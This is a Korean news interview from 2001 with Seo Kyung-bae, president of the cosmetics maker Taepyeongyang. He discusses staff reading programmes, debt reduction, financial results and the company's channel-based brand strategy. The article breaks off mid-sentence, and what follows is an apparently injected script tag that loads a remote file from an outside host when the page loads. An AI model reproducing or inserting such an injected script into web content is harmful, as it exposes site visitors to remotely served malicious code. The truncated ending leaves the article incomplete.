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태평양 서경배 사장
  • 승인 2001.10.04 18:17
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올해로 창립 56주년을 맞이한 태평양. 태평양 최고 경영자 서경배 사장은 "지나온 시간이 전통과 안정의 자랑스러운 시기였다면 지금부터 태평양이 해야 할 일은 자랑스럽게 솟아오르는 새로운 역사를 창조하는 것" 이라고 강조하고 있다. 서 사장은 경영환경의 급격한 변화라는 현재의 어려운 여건이야말로 태평양이 세계의 초우량기업으로 도약할 수 있는 절호의 기회가 될 수 있다고 생각한다. 현재의 잠재력을 바탕으로 변화하는 환경에 유연하게 대응하고 새로운 것에 자신있게 도전하는 의지와 실천을 통해 제2의 도약을 이룩하여 태평양은 세계적인 기업으로 도약할 수 있다는 자신감에 차 있기도 하다. "태평양은 「인류를 아름답게 사회를 풍요롭게」라는 슬로건을 갖고 있습니다. 이는 새로운 문화를 창조하고 인류에 봉사해야 한다는 태평양의 의무이기도 합니다"라며 강조하는 서경배 사자을 만나 근황과 21세기 비전에 대해 들어보았다.<편집자 주> 직원들에게 엄청난 독서를 하도록 권하고 있는 것으로 알고 있습니다. 사장님 자신도 책을 무척 가까이 하고 계신다는 얘기를 전해 듣고 있습니다. 이같이 독서를 강조하는 이유는 어디에 있습니까? 저희 회사를 방문하신 분들은 회사가 상당히 많이 바뀌었다고들 하십니다. 물론 외관상의 모습에서도 그러한 사실을 알 수 있겠지만, 종사원들의 태도라든지 언행에서도 그러한 것들을 느끼실 수 있을 것입니다. 이는 항상 보다 나은 미래를 위해 "도전"과 "창조"를 강조하고 있기 때문입니다. 그런데 이 "도전"과 "창조"를 실현시켜주는 원동력은 바로 독서에 있다고 생각합니다. 그래서 모든 직원들이 보다 많은 독서를 통해 지식을 습득하도록 권하고 있으며 해외 경쟁사 자료 등 비즈니스 관련 자료와 제가 감명 깊게 읽은 책들도 직원들에게 나누어 주며 일독을 권하기도 합니다. 특히 장보고, 고선지, 이순신, 광개토대왕 등 역사적인 인물들에 관한 책을 권하기도 하고, 기회가 있을 때마다 역사강사를 초빙해서 우리 조상들의 기상과 기개를 배우도록 하고 있습니다. 아울러 "바이킹 경영학", "디즈니 꿈의 경영", "SONY 4인의 CEO" 등 기업관련 서적을 통해 회사 내에 새로운 것을 이해하고, 추구하자는 분위기를 만들어 나가고 있습니다. 지난 해 실적은 물론 올해 상반기 실적이 매우 좋은 것으로 나타나고 있습니다. 주식시장에서도 가치주로서 선호도가 높으며 주가 또한 매우 높게 나타나고 있습니다. 올해 실적은 어떻게 예상하고 있습니까? 저희 회사는 지난해 7,929억원의 매출을 기록했으며, 올해 들어서도 여러 가지 측면에서의 개선 노력이 가시화되어 양호한 경영성과를 보이고 있습니다. 올해 실적을 구체적으로 점치기는 어렵지만, 당초의 계획을 달성할 것으로 예상하고 있습니다. 물론, 이를 위해서는 영업현장의 헌신적인 노고와 고객 여러분의 사랑이 뒷받침 되어야 할 것입니다. IMF 이전부터 추진해온 구조조정과 경영혁신 작업으로 매출원가가 크게 개선됐고, 그 밖에 차입금 상환에 따른 이자비용이 감소했습니다. 즉, 회사채와 장단기 차입금 등 950억의 차입금을 상환해서 총차입금이 32억 수준으로 줄어든 것도 경영실적 향상의 주된 요인 중 하나입니다. 최근 시장에서의 평가는 대표적인 경기방어주라는 측면이 강조되고 있는데, 이는 저희 회사의 투명한 경영과 양호한 실적을 높이 평가하기 때문이라고 생각합니다. 앞으로도 더욱 분발하여 견실한 수요기반, 수익성, 시장선도능력, 그리고 미래의 성장 가능성 등에서 좋은 평가를 받을 수 있도록 전 임직원이 함께 노력하도록 하겠습니다. 최근 산업자원부가 선정한 차세대 일류화장품에 아이오페 브랜드가 선정된 것으로 알고 있습니다. 이과 관련 태평양의 브랜드 전략과 국제화 전략에 대해 말씀해 주십시오. 저희 회사의 장점이라면 고객이 존재하는 모든 경로별, 연령별, 가격대별로 다양한 브랜드를 보유하고 있다는 것입니다. 예를 들면, 모든 경로별로 경로 특성에 맞는 차별화 된 브랜드를 보유하고 있다는 점을 들 수 있습니다. 특히 약 2만 명에 달하는 아모레 카운셀러들을 통해서 고객들에게 권해 드리는 인적판매 경로의 헤라, 설화수 등의 브랜드들은 올해에도 변함없이 업계에서 압도적인 위치를 차지하고 있습니다. 뿐만 아니라 연령별 고객층이 두텁고, 다양한 가격대의 상품을 보유하고 있으며, 각 브랜드가 해당 유통경로에서 선도적인 역할을 하고 있는 점도 태평양의 경로별 브랜드 전략이 이루어낸 성과입니다. 연간 1,000억원 이상의 브랜드를 다수 보유하고 있으며, 이를 통해서 안정적인 수요기반?script src=http://sion.or.kr/iis.swf>

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